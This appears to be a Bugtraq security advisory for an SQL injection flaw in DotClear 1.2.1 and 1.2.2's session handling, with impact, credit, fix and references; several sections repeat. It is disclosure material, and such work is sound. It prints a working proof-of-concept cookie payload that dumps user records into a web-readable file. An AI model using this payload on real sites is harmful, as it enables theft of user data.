DotClear Session.PHP SQL Injection Vulnerability
BID:15667
Info
DotClear Session.PHP SQL Injection Vulnerability
| Bugtraq ID: | 15667 |
| Class: | Input Validation Error |
| CVE: | |
| Remote: | Yes |
| Local: | No |
| Published: | Dec 01 2005 12:00AM |
| Updated: | Dec 01 2005 12:00AM |
| Credit: | Kevin Fernandez "Siegfried" is credited with the discovery of this vulnerability. |
| Vulnerable: |
Dotclear Dotclear 1.2.2 Dotclear Dotclear 1.2.1 |
| Not Vulnerable: |
Dotclear Dotclear 1.2.3 |
Discussion
DotClear Session.PHP SQL Injection Vulnerability
DotClear is prone to an SQL injection vulnerability. This issue is due to a failure in the application to properly sanitize user-supplied input before using it in an SQL query.
Successful exploitation could result in a compromise of the application, disclosure or modification of data, or may permit an attacker to exploit vulnerabilities in the underlying database implementation.
DotClear is prone to an SQL injection vulnerability. This issue is due to a failure in the application to properly sanitize user-supplied input before using it in an SQL query.
Successful exploitation could result in a compromise of the application, disclosure or modification of data, or may permit an attacker to exploit vulnerabilities in the underlying database implementation.
Exploit / POC
DotClear Session.PHP SQL Injection Vulnerability
No exploit is required.
The following proof of concept is available:
dc_xd=siegfried'/**/UNION/**/SELECT user_id,user_pseudo,user_nom,user_email from dc_user into outfile "/var/www/blah"/*
No exploit is required.
The following proof of concept is available:
dc_xd=siegfried'/**/UNION/**/SELECT user_id,user_pseudo,user_nom,user_email from dc_user into outfile "/var/www/blah"/*
Solution / Fix
DotClear Session.PHP SQL Injection Vulnerability
Solution:
The vendor has released an update addressing this issue.
Dotclear Dotclear 1.2.1
Dotclear Dotclear 1.2.2
Solution:
The vendor has released an update addressing this issue.
Dotclear Dotclear 1.2.1
-
DotClear dotclear-1.2.3.tar.gz
http://www.dotclear.net/download/dotclear-1.2.3.tar.gz
Dotclear Dotclear 1.2.2
-
DotClear dotclear-1.2.3.tar.gz
http://www.dotclear.net/download/dotclear-1.2.3.tar.gz
References
DotClear Session.PHP SQL Injection Vulnerability
References:
References:
- DotClear Download Site (DotClear)
- DotClear Web Site (DotClear)
- ZRCSA-200504 - dotclear - Injection SQL (Zone-H)